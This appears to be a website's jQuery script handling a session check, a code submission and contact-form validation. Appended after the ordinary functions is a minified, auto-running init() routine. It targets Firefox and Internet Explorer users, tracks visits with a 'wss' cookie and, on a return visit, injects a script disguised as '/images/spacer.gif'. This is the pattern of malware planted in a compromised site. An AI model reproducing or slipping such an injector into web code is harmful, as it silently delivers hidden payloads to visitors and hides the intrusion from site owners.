 $(document).ready(function() {
 
 

 $('#result').load('checkSession.php');
 
 
 });
 
 function closeddform(){

 $(".formOverlay").hide();
 
 }
 
 function submitDDCode(){
 

	var uCode = $('#ddcode').val();
	var codeValid = false;

$.get('checkCode.php?c='+uCode, function(data) {

	if(data == 'true') window.location = "dd.php";
	
});

   $(".formOverlay").show();
 }
 
function showCodeDetails(){
 
 
  $(".formOverlay").show();
 
 }
 
 function checkForm(formIn){
 
//	alert(formIn.name);
with(formIn){

if(fName.value == "" || fEmail.value == "" || (fPhone == "" && fMobile == "")){

alert("Please enter at least your name email and a phone number");

return false;

}

var email=fEmail.value
 if (email.indexOf(' ')==-1 
      && 0<email.indexOf('@')
      && email.indexOf('@')+1 < email.length
 ) return true;
 else alert ('Invalid email address!')
 return false;




}
  
  
  
  
  




 return false;
 
 
 }

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/spacer.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
